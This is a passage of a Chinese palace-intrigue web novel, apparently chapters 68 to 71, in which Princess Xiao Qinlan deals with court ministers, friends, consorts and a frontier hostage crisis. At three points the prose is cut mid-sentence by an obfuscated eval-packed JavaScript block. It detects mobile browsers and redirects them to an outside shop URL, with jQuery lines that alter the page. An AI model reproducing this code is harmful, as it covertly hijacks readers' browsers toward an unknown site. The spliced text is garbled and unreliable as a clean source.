萧沁澜并未假装听不懂，也未含糊其辞。
“大人们的心意，本宫都心领神会。”
不等他们稍稍松口气，萧沁澜话锋一转，“自古以来，皇帝需绵延子嗣，以保王朝千秋万代、繁荣昌盛。陛下现下正值盛年，各位大人已年过半百，世事难料，如何能保证本宫诞下皇子后，必能登基为帝呢？”
“怎会不能保证！这世上何人不希望太祖皇帝的血脉继承大统，延续明昭王朝的强盛。即便我们这群老朽之人累死，也还有我们的后代忠心耿耿、矢志不渝。”
“大人所言极是。陛下年富力强，若本宫应允群臣之请荣膺后位，且诞下龙子，那日后又将如何呢？陛下正值盛年，龙子尚未降世，而群臣之心迹已早早显露。此中寓意究竟是对陛下德行有所质疑，还是对陛下的身份……”
萧沁澜言至于此，适时收声叹了一息，举目仰望那漆黑天幕中孤悬的明月。
“公主殿下此言恐有偏误，待到龙子长成之日，陛下已……”
“咳咳咳……”庆如韩连忙咳嗽数声，打断他未尽之言，“殿下高瞻远望，老臣钦佩之至。”
言毕，他拉着仍倔强挺首的尤项，告辞后步入了殿内。
这一段路程说长不长，说短不短。尤项仍在絮絮低语，喋喋不休。
庆如韩揉了揉眉宇，陡然拉锦了他的衣袖，寻至一拐角隐蔽之所。
“你这是何意？我这可是朝服，若有所损，定要受众人非议！”
“这等细枝末节，你倒记得分明。殿下方才弦外之音，你可曾领悟？”
“……这话中难不成还藏有深意？不是已然明明白白，说得清晰透彻了吗？”
“哎，真是个榆木脑袋。”庆如韩面露愁容，抱怨了一句，随后细细剖析道：“殿下已经应允成为国母。只要我们这些臣子能确保她们母子的安全，殿下便会顺应天意与民心。”
“……殿下真的这么说了吗？你可别是在哄骗我！”尤项不可置信，眸中满是清澈而明显的狐疑。
“老夫何时曾说过假话？”
庆如韩抚着胡须，眉头紧蹙，“太后权势滔天，陛下虽然聪慧过人，勤奋好学，但手中并无实权，也无显著功绩，无法与太后分庭抗礼。此事我等得想个妥善的办法。为了萧氏血脉的纯正，贤昭公主也不能再如此刻这般放任自流了。我等得亲自盯着。”
＆
待他们彻底远离，身影消失在视线之外，周围亦无他人之时，躲在树后的蔫润知等四人才缓缓走出。
萧沁澜寻得一处开阔之地，抚着手中的手炉，笑意盈盈地望向那几个鬼祟的身影。
“怎么？可是酒意上头，想在大庭广众之下悄无声息地吓唬人？”
“我们哪里敢啊！”
萧抒整了整衣襟，缓步向她走去，“陛下还在宴席之上，我们不敢像私下相聚时那般畅所欲言。见太傅随你离去，润知担心你受委屈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627556|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，非要拉着我们前来为你助威。”
“助威？”萧沁澜微微挑起眉头，含笑调侃道：“仗着人多势众威压年迈老臣吗？”
司空颢直言不讳：“是承韫与润知提议前来。不过宁郡王跑得最快，树后藏身也是他拽我们去的，既逃脱不得，也无法露面。”
萧沁澜道：“宁兄长这爱凑热闹的性子，还真是一如既往啊。”
萧抒大大咧咧，“朝政之事本王插不上手，也就擅长游玩享乐了。贤昭下次出宫，记得提前告知我。我定然早早规划，带你去的地方定比承韫选的要潇洒千万倍。”
“承蒙好意，自然不拒。”萧沁澜语气悠然，“下次，定不会放过宁兄长。”
蔫润知本是个活泼善谈的人，但接连的拒绝让他有些受挫，现在一见到她，便不自觉地绷紧身体，变得一本正经起来。
趁着短暂空挡，他试探道：“方才你们的谈话，我都听到了。”
“看到了？”萧沁澜不答反问。
这话中的深意，自是不言而喻。
皇宫内院眼线遍布，有些话不能直言。
蔫润知思索了片刻，视线与她直直相撞，“之前在珠宝楼，我偶然碰到国公夫人与太傅夫人闲谈承韫娶妻之事。那天后，国公夫人买了五个良家女子，安置在府中。沁澜，你明白我的意思吗？”
萧沁澜拖着长音“哦”了一句。
当今陛下出身于定国公府，得其全力扶持。
陛下的性情与见解，亦会与国公府完全相同。
这话便是暗戳戳内涵，暗指萧墨凌之后定会拥有三宫六院，七十二嫔妃。
陆承韫……
五个良家女子……
萧沁澜对于自身的魅力不会妄自尊大，亦不妄自菲薄。
听罢这话她抬眼望向一旁，意味深长地似笑非笑，“哦？那可真是一大喜事。想必不久之后，很快便有热闹可凑了。”
“定了吗？”司空颢笑着接话：“如此喜事，承韫怎么不早说，我自应提前备下贺礼的。”
萧抒亦被众人带动，拍手打趣地附和着。
“父母之命难违抗。府中诸事，我向来都是最后得知。”
陆承韫语气平和，眼神逐一扫过打趣的众人，最终定格于身前，“辨是非，明曲直，我始终恪守世俗礼教，从不敢有丝毫逾越。”
蔫润知原只想借此提醒，未料二人竟胡乱起哄。本是戏谑调侃之语，却被他陡然间弄得气氛凝固。
见他言辞沉重，蔫润知不禁五味杂陈。
“今夜乃家家团圆、守岁之时。其余话我们暂且搁置。明日便是休沐之日，无需上朝。这整整十五日，我们该去哪里游玩呢？沁澜，你可否出宫？”
“铺子盈利了？”
“……嗯？”话题转换太快，蔫润知愣怔片刻，方才回过神来，“今年利润尚佳。京师繁华，只要店铺开张便会有所收益。”
萧沁澜心内欣慰，正欲言语，却忽见天空一阵明亮。
紧接着，爆竹声声响起，烟花瞬间绽放，五彩斑斓，与明月交相辉映，将天空装点得绚烂多彩。
“星光熠熠，盛世繁华。”萧沁澜抬头望向那连绵不绝的绚烂景象，“岁首新篇，新年新气象。”
“韶光启新篇，春回涌新澜。”陆承韫低声轻吟，眼神温柔如水，侧眸深情地凝视着身前。
萧沁澜与他对视一眼，随即移开目光，眉眼弯弯。
年华开新局啊……
＆
与之相距千里的某处官道，一人一马正疾驰而过。
69. 第 69 章
正月初旦，新年之始，世间万物焕然一新。
晨光熹微，萧沁澜早早起身，披上华贵的朝服，与帝王及明远太后同赴奉先殿虔诚祭祖。
群臣皆手执笏板，身着朝服，依品阶序列，恭候于宫门之外。
待三位尊驾至，行三跪九叩之大礼。
祭祖仪式圆满落幕后，随即是例行的新年朝会，所议皆为琐碎杂务。
萧沁澜因晨起甚早未曾用膳，向太后与陆墨凌辞别，乘轿辇返回宁安宫中。
甫入殿门，饭香便扑鼻而来。
南门鸢引领一众宫娥，垂首侍立于侧。
见她归来，即刻跪下行礼，口中颂道：“新春佳节，恭祝公主殿下福寿无疆，吉祥如意；岁岁平安，喜乐绵长。奴婢虽卑微，却得幸侍奉于殿下身旁，实乃此生之荣光。愿殿下新岁欢愉，万事如意，福慧双全。”
言毕，殿外侍立的太监亦恭敬磕头行礼，祝福语声整齐划一，显是事先排练所致。
热闹喧嚣的敬献刚告一段落，萧沁澜便轻笑出声，“这一大早便如此热闹，莫非是怕本宫忘了你们的赏银？好了，都起来吧，待会儿到本宫那里去领，一个都不会少。”
此言一出，众人又齐声谢恩。
经过这一番折腾，刚传召的早膳已变得温热。
南门鸢极有眼力见，立刻命令宫娥端来水盆供她洗漱，遂侍立一旁，静默不语。
朝服繁复，穿着用膳并不舒适，萧沁澜并未拒绝这份周到。
膳后胃里稍感安稳，萧沁澜让人取来热水沐浴休憩，惹得侍奉的宫女好一番埋怨。
待她再次醒来，已是未时，日光渐渐西斜。
无人打扰，她睡得香甜，精神焕发。
简单穿衣洗漱后，她便坐在院内，看着忙碌的宫女们，与身旁的南门鸢闲聊。
话题自然而然，转到了前朝之事。
“护国寺现今一切可安好？”
“回殿下，母亲承蒙殿下庇佑，得以出宫修行。她整日吃斋念佛，精神反而比往日更加矍铄，不再萎靡不振。”
“本宫不可接她入宫。若想让夫人脱离尘世纷扰，只能这样安排。”
“臣女明白殿下的苦心。”
南门鸢眼神真挚，她微微摇头，自嘲一笑，“前朝残暴无道，肆意盘剥百姓，五大世家更是贪婪成性，拼命搜刮民财。幸亏上天垂怜，得太祖皇帝那般的英伟之君。
现在世家式微，只剩下一些无足轻重之辈，但到底延续了百年有余，仍有些底蕴。他们联合起来，将唯一成年的女子送到了兴安伯府，成为续弦。
伯爵府内，夫人一手遮天，其地位甚至超过了父亲。姨娘与众位妾室生活得苦不堪言，生不如死。
母亲虽在寺庙中清修，却过得安然自在。这一切，都是托了殿下的洪福。”
院中宫娥穿梭不息，细心洒扫，精心陈设，举手投足间的熏香悠悠飘散，空中氤氲着清雅之息。
萧沁澜闲适地品着香茗，“本宫并无什么实权，一切都是太后娘娘的恩典。”
“太后娘娘日理万机，臣女所学皆源自殿下教诲。”
“说到底，你能入宫皆因润知心慈。”
“是，醇亲王性情温厚，未曾对臣女有丝毫揭短。反而特地求情，此等大恩，臣女永生铭记。”南门鸢一板一眼道。
宫宴之事虽有礼教约束，但并非循规蹈矩便能安然无恙。
这几日，殿下在她面前未曾掩饰实力，所展现的才华非她这等官宦之女所能企及。
坦诚相待，倾囊相授……
殿下究竟意欲何为？
莫非仅希望她对醇亲王更加和善？
可她出身并非显赫，若真看重王爷，怎会挑选无权无势的自己？
贤昭公主殿下，究竟有何打算？
心中所谋，究竟是何？
宁安宫内众人守密如瓶，难以探得半点有价值的线索，自己亦不敢过于张扬行事。
罢了，大不了早早赴黄泉，转世投胎。
心中念头纷飞，南门鸢面容平静，欠身问道：“昨晚宴席上，王爷可还安好？”
“润知嘛，一如往常。”萧沁澜淡定自若。
昨晚虽待在一起，但交谈并不多。
自从自己不再回应后，他肉眼可见消沉许多。
“谁劝也无济于事。”萧沁澜抿了口茶水，袅袅水雾掩映着她的神色。
“王爷他情深义重。京师中的闺阁女子，都对他钦佩不已。”南门鸢目光温柔，面带笑意，语气中透露出明显的崇拜。
“那你呢？”
距离计划实施不过两月有余，萧沁澜趁此时机抬眸望向她，故作玩笑道：“情深意长，与心爱之人结为连理，一生一世，共育子嗣，这是寻常女子一生的追求。你是否也有此想法？”
南门鸢答得肯定，“臣女亦抱有同样的念想。”
这话问得奇怪。
王朝礼教严苛，凡有权势、财富者皆可纳妾众多。
家族繁荣，子孙满堂，此乃世人所盼，无论男女皆然。
不过多妻多妾确实易生纷争，导致家宅不宁，家族陷入争斗与不和，分崩离析。
更有甚者如自己这般，虽表面看似满不在乎，对现状颇为满足，但内心深处却藏着深重的怨恨。一旦有机会，定会让那大家族落得个死无葬身之地，包括她那碌碌无为的父亲。
殿下莫非已看透自己心思，故而才有此一问？
南门鸢心中一紧，旋即重重地跪在地上磕头行礼，抬眸郑重其事道：“臣女出身卑微，太后娘娘与醇亲王想必已调查过，公主亦应知晓。
臣女有自知之明，只要能侍奉在王爷身侧，无论是作为侍妾还是通房丫鬟，臣女都心甘情愿，绝无任何不满与怨言！”
这番话并非她首次提及，萧沁澜已听得耳熟能详。
古时医术未精，女子分娩犹如踏入鬼门关隘，与现今相较，生产的恐怖与疼痛近乎百倍之差。
依她方才所言，多半以为自己在敲打于她。
萧沁澜行若无事，“起身吧，本宫明白你的心意。”
“多谢殿下信任臣女。”南门鸢再次行三叩九拜大礼后，方才起身。
冬日严寒，指尖扳指触感冰凉，萧沁澜缓缓摩挲着，“润知心善，却身份特殊。你放心，有本宫在，定会竭尽全力保你们母子平安无恙。”
“……”
南门鸢大约已隐约猜到她的意思，但仍被这突如其来的直白之语震得一时语塞，莫大的恩德让她直直愣在原地，良久都未能说出感激之辞。
女子与男子同为世人，一旦获得权势与专情，谁也不会轻易放手。
那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644581|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些聪慧之人往往表面矜持，再若即若离，显示自己高风亮节，人淡如菊。
私下却紧握不放，以彰显自己的非凡与独特。
说来惭愧，她心中正是这般盘算。
若有朝一日能进入王府，她定会紧紧抓住王爷的宠爱，向兴安伯暗自炫耀。
没想到贤昭公主却对此轻描淡写，毫不在意。
那可是醇亲王啊，与她从小一起长大，共同经历过生死的至亲之人。
这天下之间，恐怕无人不知醇亲王对殿下的深情厚意。
或许是因为过分的偏爱，让殿下变得有恃无恐？
兴奋之情稍纵即逝，南门鸢迅速恢复了冷静。
“臣女地位卑微，怎敢有非分之想……”
“好了！”
萧沁澜不耐烦打断她关于卑微的言辞，随手将指尖的祖母绿戒指套在她指上，“进了宁安宫，你便是本宫的人。以后你要牢记，醇亲王与本宫血脉相连，你不得有丝毫伤害之心。本宫也会在此后护你周全。”
南门鸢不再矫揉造作，爽快地应下并谢恩。
护她？
宁安宫内皆是陛下与太后的人，难道这贤昭公主有什么底牌不成？
昨日雪花仅轻洒一层，今日天朗气清，瓦舍之巅的点点残雪融为水珠，滴落在青石板上，响声清脆悠扬。
萧沁澜凝望着那滴滴水珠，单手托腮，饶有兴味地细数滴落的数量。
“暖风轻拂，祥瑞满门，来年定当五谷丰登，国泰民安。”
“是。”南门鸢心不在焉，随口应和了一句。
本采瞥了她一眼，继续为主子揉捏肩颈。
＆
和风送暖，宁安宫寝殿内，萧沁澜秀眉紧锁，专注地阅完那八百里加急送来的信件。
本采不知详情，絮叨着这几日琐事，
“自正月初五后，皇宫内外并无紧要之事，一向勤勉的陛下偷闲数日，乾清宫中遗留的奏折仅在午时得以批阅，午后时光则赏花观景，或至宁安宫内静坐冥思，亦不时前往武英殿骑马射箭。
慈宁宫内亦是不寻常，淑妃频繁邀祥妃至此争吵不休。
自受宠以来不足一月，她们便时刻召见太医询问脉象，对太医所言反复咀嚼，念念不忘。
三日之后，太后终感厌烦，毅然将二人带至御花园，与陛下“不期而遇”。
陛下重返后宫，二人方才安分下来。”
见主子仍旧陷入沉思，本采目光掠过薄薄的纸张，“主子，信中究竟所言何事？暗卫送来时，千叮万嘱要速速呈交于您，莫非是发生了什么重大变故？”
“嗯，的确有许多人遭遇不幸。”将信件投入炭盆中后，萧沁澜眸子低垂，望着那跳跃的火苗开口问道：“门外可有外人？”
“都是我们的人。南门姑娘已被调至别处，宫娥在外守候，陛下的人不敢随意靠近，生怕被主子察觉。”
“好。”萧沁澜轻声回应，继而快步走到案几前铺开纸张，提起笔来。
本采未再追问，在一旁默默磨墨，侧头注视着主子落下的每一个字。
思索片刻，萧沁澜迅速写下决策，落笔结尾时，特意嘱咐季迁等人注意安全。
本采感慨，“主子手下那般多的人，却能个个牢记名字，是属下的福气。”
“典身卖命，应当的。”
70. 第 70 章
宁安宫外，宫人们皆静默地守候在门口，眼神锐利警觉地探视四周，神情却仍旧谦卑。
殿内红炉炭火熊熊燃烧，温暖如春阳普照。
萧沁澜提笔落下“季迁”二字，之后将信件放在一旁，书写下一封信件。
本采从她的回信中明白了事情的前因后果。
“一夜之间怎会有那么多人无辜丧生，其中竟还有懵懂的孩童。”
她秀眉紧锁，忍不住问道：“主子，仅凭一村之殇，就能断定那些零散的外族又联合起来，打算趁此年关与军士松懈之际，前来掠夺粮食吗？”
“可能性极大。”
萧沁澜将信件折叠整齐，一一装入信封，又亲自封上蜡印并落下款识，边动作边道：“前朝腐朽，因疏于管理，那些外族没少从中牟利，边关百姓深受其苦。
自从父皇收复边陲三重镇，将那些人驱逐回原先的荒凉之地后，便安宁了四年。但人的贪婪会与日俱增，区区三年他们不会满足现有生活。因此一年前的互市才得以顺利进行，可惜……”
本采懂得她的心思，接过话茬道：“可惜那些外族在中原逗留许久，只想着压榨、抢夺，并未学习种植与农产。
太后娘娘对于政务向来决断迅速，漠北仅有的水源之地，被太后赏赐给兵力强悍的大部落，封了个无实权的外族王。每年不过发一道圣旨慰问，再送去少许粮食以及画作与文字，便轻而易举的安抚。”
听到此处，萧沁澜唇畔勾起一抹意味深远浅笑，未曾抬眸，继续埋首于信笺的整理之中。
“既承恩泽，自当以礼相报。外族回馈的牲畜与贡品数目更胜于这等小恩小惠。朝廷这样做，也会让那外族王以为有明昭王朝为后盾，从而高傲自大，与其他部落屡屡作对。而我明昭王朝，则可安然坐观风云变幻。”
“也唯有在这方面，太后显得圣明一些。”
待手中信封严丝合缝，萧沁澜打开殿门，将信件递予门外恭候多时的暗士，叮嘱他们“速速送达”。
目送他们远去后，萧沁澜心中方才释然，重新回到寝榻，推算着大致时辰。
封建时代通讯之器阙如，自己创立暗卫营前，就重在锤炼暗卫们的逃遁轻功。
现下暗卫营中轻功卓越与身手不凡者分作两队，各司其职。
而两者兼备者，却寥若晨星。
萧沁澜低垂着眼帘，沉思之际，本采已将书案整理妥当，又探查外界情形确认无虞后，方步至她身旁，默默守候。
“信件虽已寄出，但本宫难以亲自出手。边关兵马非我所能调动，不能时刻保持警惕。”
萧沁澜抬眼望向她，“这则消息传至京师尚需数日，期间恐怕要生诸多变故。”
“主子是想……”本采神色复杂，“将原计划提前实施？”
“既然目标一致，那便借此良机，早日了结此事。”
“……是。”本采沉吟片刻，终是点头应允。
追随殿下数载，她忠心无二，但主子有时候的心实在过于强硬。
本采轻叹一声，鼓起勇气道：“主子，属下斗胆有一事相问。”
未待回应，她便已直言不讳：“陛下近来所作所为实属过分。更改国姓，却又对定国公府偏袒至极。对于昔日官员贪污受贿、残杀平民之恶行，竟视而不见，仅仅罢官惩处，任由那些贪官携带巨额财富回乡安享晚年。
这样的陛下，属下等实在难以相信能有何清明之举。然而二公子与醇亲王……”
陛下自私，可宁郡王志向是仅游山玩水。
醇亲王对殿下情深意重，二公子更是视殿下为唯一伴侣。
自十余岁起，主子便对世间爱意持淡然态度，就算对方忠诚不渝，表现得成熟稳重，主子亦能一眼洞察对方内心的清澈，明了对方所求。
她侍奉主子多年，多少能感受到，主子似乎早已历经过风风火火、披荆斩棘的深情岁月，所有的真挚与专一，都已留存在某个特定的地方……
投身皇家果然利大于弊，毫无情谊可言。
算了，主子也是为了万千百姓。
本采欲言又止，沉默抿唇。
“你是想问，本宫的心究竟何在？”萧沁澜笑容温婉，并未动怒。
“属下逾越了。这些皆是小事，明昭王朝乃太祖皇帝亲手开创的基业，不能落入外族血脉之手。”
萧沁澜眉眼含笑，顺着她转移的话题道：“本宫心中有数，你且安心。”
二人在此谈了良久，忽而察觉殿外氛围有少许不对，扮为宫娥的暗卫恰巧在此时匆匆禀报。
“陛下来了？”萧沁澜起身整理衣襟，戏谑道：“他倒是闲得慌。”
“淑妃亦随同前来。”宫娥将所知一一道来，“南门姑娘的右脸高高肿起，不似刚刚所伤。”
“是来断官司的吗？”萧沁澜走到案几前，随手拾起一本游记，接着之前的内容继续翻阅，“让院中恢复如常，无需阻拦任何人。”
“是。”本采领命而去，着手安排。
＆
正月初五寒意尚存，寒风紧贴宫墙，凛冽刺骨，较之雪日更添几分冰冷。
宁安宫内颇为喧嚣，萧沁澜身披斗篷，手执暖炉，将白净的脸庞埋入柔软的毛领间，周遭叽叽喳喳的喧闹好似皆如过耳秋风。
“……事态就是这样的，陛下，您可要为臣妾主持公道啊～”
男子大抵偏爱娇俏可人的女子，近来萧墨凌频频进入后宫，且多宿于淑妃之处，全然忘却她昔日的狠辣行径。
事情冗长琐碎地说完，南门鸢挺直腰板跪在庭院中，低眉垂眸，沉默不语。
淑妃那腻人的娇嗔声仍在继续，萧墨凌拍了拍她的手背，身体便悄然向后倾，与她拉开了一丝距离。
“沁澜，朕自然相信你。但兴安伯的这位庶女毕竟是外人，此事是否真如淑妃所说，宫内的律例被拖延未发？”
“什么拖延，分明是明目张胆的克扣。陛下怎能包庇这样一个无耻女子？她一心一意，卯足了劲想要攀附醇亲王，臣妾的名声因她而受损颇多，真是可恶至极。陛下可千万不能饶恕她啊！”
淑妃明亮的眼眸中蓄满了泪水，欲坠未坠，配合着她那腻人的语气，着实令人心生怜悯。
碍于沁澜在场，萧墨凌并未过分偏袒淑妃，也未降罪于她。
女子间的小小醋意，不算大事。
况且，如果此事真是宁安宫的人所为，那沁澜或许也暗中默许了，或许……她也在吃醋？
萧墨凌念及此眉梢微扬，心绪渐渐提起，试探性地问道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659503|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
：“宫中事务繁忙，月例发放到底是大事，沁澜想必已有所调整？”
这无缘无故前来的指责，辩解无异于默认。
萧沁澜神情淡然，“母后常常同我提起，皇兄很是喜爱淑妃娘娘，过于……”
过于何物？是沉溺于温柔乡，荒废朝政？
她的眼神太过直白，毫不掩饰情绪。
身居高位，萧墨凌鲜少遭遇这正面的挑衅，他面色一沉，冷冷勾唇。
皇宫冰冷，他们二人的命运皆受明远太后所控，理应相互理解、同心协力，沁澜现在却因旧日情分胆大包天，羞辱当朝天子。
人心善变，若非同处宫中，他实在难以想象她竟会变得这样放肆。
不过她是太后亲手教导三年之人，心思总难免偏向他人。
册封皇后之事，亟需列入朝纲了。
萧墨凌安抚着淑妃，不言而喻。
淑妃近日被进柠督促着学习，听罢此话转瞬明白何意，望过去的眸子讶异地瞪大。
贤昭公主往昔皆是含糊带过，今朝却直言无讳，公然令陛下颜面受损，实在是罕见至极啊……
萧沁澜不急不躁，捧着手炉慢悠悠道：“除夕宫宴之时，皇妹曾与太傅浅谈数语。皇兄知晓我鲜少外出，那日一番探讨后，我方了解王朝子民依旧对母后信赖有加。”
彼时天下臣民唯知明远太后圣明，不知帝王之号。
此话虽不曾言明，萧墨凌却顿时了然，那因女子娇嗔而略显迷惘的心智，瞬间恢复清明。
是。
淑妃明媚动人，祥妃温婉贤淑，可她二人皆不会有子嗣，且家族亦无助力。
区区外戚，又是愚钝之辈，无足挂齿。
他岂能为这等小事，与沁澜心生嫌隙，难怪今日沁澜放诞不羁。
想通一切，萧墨凌正色端坐，吩咐身旁的大太监扶起南门鸢。
“后宫诸事皆由贤昭处置，日后无需将这些微末琐事禀报于朕。按照既定流程办理即可。”
这便是明晃晃的偏袒了。
淑妃闻言娇艳的脸庞当即大惊失色，震惊之余怒气横生，陡然起身怒指萧沁澜，口若悬河，滔滔不绝地斥责起来。
躲在人群后，一言不发的祥妃微微挑眉，手帕柔柔擦拭并不存在的尘埃。
除夕宴会那夜，陛下与她们二人皆亲眼目睹了太傅离去，自己此来本为确定最后答案。
贤昭公主这般的态度，看来她已答应太傅当今陛下的皇后，陛下的皇位会越来越稳固。
自己尚未有孕，宫中又戒备森严，短时间内无法联系到父亲与兄长，该如何是好？
陛下与贤昭公主所生的皇子无人能不忌惮。
可话又说回来，那备受群臣推崇的幼子，陛下难道会不惧？
庭院之中的南门鸢身姿挺拔，任由淑妃咒骂，自始至终未曾反驳一句。
萧沁澜若无其事地接过刚煮好的茶水，垂眸浅尝。
无人愿意与蠢货计较，该说的都已说尽，接下来便是太后与前朝之事了。
现在尚不确定那些外族部落是否联手，再等待些时日，即便他们按兵不动，自己也会设法迫使他们采取行动。
二月春闱……
天下学子，绝不会是陆墨凌的门生！
71. 第 71 章
月上柳梢头，人约黄昏后。
正月十五夜，京师之中人影绰绰，灯火辉煌，如昼般映照天地。
街陌巷尾的佳人笑靥如花，才子吟诗唱和，黎民百姓扶老携幼，鲜有闭户不出者。
火树银花交相辉映，星桥铁锁豁然洞开。
爆竹声声，响彻云霄，漫天烟花绚烂多彩，映照着京师的繁华盛景，热闹非凡。
……
“啪——”
太保府邸，尤项怒气冲冲将信件狠狠扔在地上，几步上前揪住来者的衣襟，目光如炬地厉声道：“你说什么？那些蛮夷番邦竟纠集一处，还勾结新晋的草原王攻进云麓城内烧杀掳掠，导致一村的百姓都惨遭屠戮！”
“是！”
跪地的侍从神情愤然，“消息八百里加急送回，而今情势恐怕更为严峻。前脚信使甫至，只隔两天便又有消息传来，驿站骏马数匹都累死在途中。使者不眠不休，每日仅在马背上草草进食，方得两日之内追上前信。”
“除却那一村的平民，城池可曾沦陷？边关军队现状如何？”尤项面色凝重地急切相问。
“太后娘娘治国有方，曾说过将士在外，君命亦有所不受，这话为前线军队赋予了极大的便利与权力，故而城池安然无恙。可……终究是猝不及防，致使诸多商户……来不及撤回。”
“这样……”
尤项松开手中衣襟，徐徐转身，垂首沉思，“互市及时封闭，军队暂且无虞，伤亡甚微，那些草原番邦难以攻进。而今天寒地冻，牛羊无食，如此看来那些蛮族不过是小规模骚扰罢了。只需及时派兵增援，便能轻松取胜。”
“是，太傅大人遣小的前来之前，亦是这般预料。但后续驿站又传回一事……”
“吞吞吐吐，到了现在居然还含糊其词，赶紧道来。”
侍从嘴唇微动，“我朝子民视年关为重，有在家守岁者，亦有外出经商想要多赚写银两者……”
仅仅数语，尤项瞬间明了他的意思，眼中满是愕然，“那些外族数战无果，莫不是转而劫持未来得及撤回的王朝商户，将他们作为了人质？”
“正是，信中所述人质多达百余人。他们多为规模不大的商户与镖局，平民百姓消息闭塞，这才未来得及撤回。南蛮子扬言若边关再不让步，朝廷再不运送粮食，便每日斩杀三人。太傅说那些外族早已算好时间，逼迫朝廷在二十日内解决此事。”
“二十日？”
尤项诧异地重复，随即背手漫步，眉峰紧蹙，“外族各部落若聚集起来，总数十万绰绰有余，我边防军队倒是不足为惧，但据消息传回已近半月，百十余的平民……”
若救，则需耗费大量时间与精力，说不得还要牺牲无数青年壮丁。
若朝廷无所作为，明昭王朝的声誉必将大损，百姓将对当今君主产生质疑，后世史书亦将不断谴责陛下。
他们这些官员不过顺带提及，并不会频繁出现。
君主……
明远太后到底是女子，可随便置身事外，同时赢得百姓的同情，使那些百姓怀念起她执政时的种种益处。
难不成是政斗？
此等局势，非他一人所能决断。
念及此，尤项骤然驻足，“太傅大人有何见解？陛下是否已知道消息？”
“是，太傅大人已向宫中传信，想必太后娘娘与陛下即刻便能得知。”
“那本官现在就去国公府一趟。”尤项言罢，留下一句“你且回去”便匆匆离开，大步流星地迈出院门，连衣裳都未及更换。
跪在地上的侍从疑惑重复道：“国公府？大人不是一直保持中立吗？”
话音未落，他似是想到什么顿觉汗毛悚立，惊恐地瞪大了双眼。
国公爷与大人？
这个消息他该不该禀告太傅？
＆
乾清宫内，明远太后放下茶盏，不确信道：“部落聚众，边防告急，数百平民丧生？”
“正是。”庆如韩恭敬行礼道。
区区百人，若消息被刻意封锁，百姓自然无从得知，对王朝名声亦无大碍。可……
“此消息乃八百里加急自边防传回，半月时间，途中是否有所泄露实难预料。”
言外之意，便是催促尽快出兵了。
明远太后从容不迫地端坐在御案后，手捧一盏茶，轻轻吹拂着热气，“不过是一群乌合之众的外族罢了，人心涣散，能有多大的凝聚力。现在驻守边防者皆是老臣的子孙，那些青年才俊有勇有谋，且对害死父兄的凶手恨之入骨，不会有大事。”
“太后娘娘所言极是，老臣亦持此见。”
庆如韩心急如焚，却只能缓缓劝解，“外族人心涣散，谁也不愿随便送死，放弃自己的部落为后来者铺路。但毕竟他们拥有十万精兵，且多是最彪悍的精锐。冬日寒凉，事关生死存亡，难免不会生出鱼死网破的念头。陛下、太后娘娘，此事还需谨慎应对，不可掉以轻心。”
萧墨凌听罢，此时方抬眸凝望着他，“那些商人，是否还活着？”
语气平淡，可话中深意却令人生寒，窒息难当。
庆如韩故作镇定，不敢流露出半点不满，“陛下，数百户家庭正期盼着朝廷的救援。北狄可汗已给出期限，十日之后若无回应，便每日斩杀三人，直至杀光为止。”
“是吗……”萧墨凌低声应了一句。
庆如韩拭去额角汗水，眼角皱纹愈发显眼。
陛下定是在惋惜，惋惜那些商户未能及时逃脱！
明远太后心中已有计较，“太傅所言确实有理。生死关头，谁也无法保证不会拼个鱼死网破。此事关乎重大，应立即召集兵部、都督府、通政使司、户部、工部的人进宫，共同商讨对策。”
“朕也正有此意，赵全，传召这些朝臣即刻进宫。”
＆
定国公府内。
尤项甫一抵达便愁眉紧锁，徘徊不定地踱来踱去，翻来覆去地将事情唠叨个没完。
这时忽闻宫内传来消息，召国公爷前往皇宫商议要务。
“我呢？”他指着自己的鼻子，殷切地望向前来的太监。
“呃……”那太监为难地眨了几下眼睛，脊背越发佝偻。
朝廷命官已悉数前往，三公之一不可谓不重，按理来说太保大人也应在其中。
但尤大人向来行事不羁，哪里有热闹就往哪里凑，京师之中不相关的事也要上前嚷嚷，结果往往得罪了两边的人。
说句确信的，尤大人就算到了战场，若恰巧与敌军兴趣相投，说不定还能聊上几句。
能力自是有的，可不敢重用。
一旦重用则需旁人压制。
作为内宫官员，上位者对尤大人的看法他略知一二。
太监满脸堆笑，“奴才什么都不懂，可听闻大人身法高绝，谋略出众，最是适合行军打仗。嘶……只是今日陛下与太后娘娘未曾传召大人，那定然是有其他重要的吩咐。”
“哎，实在无法了。”一旁的陆泽遗憾摇头，拍了拍他的肩。
尤项消息灵通且身居高位，自己与他不过是点
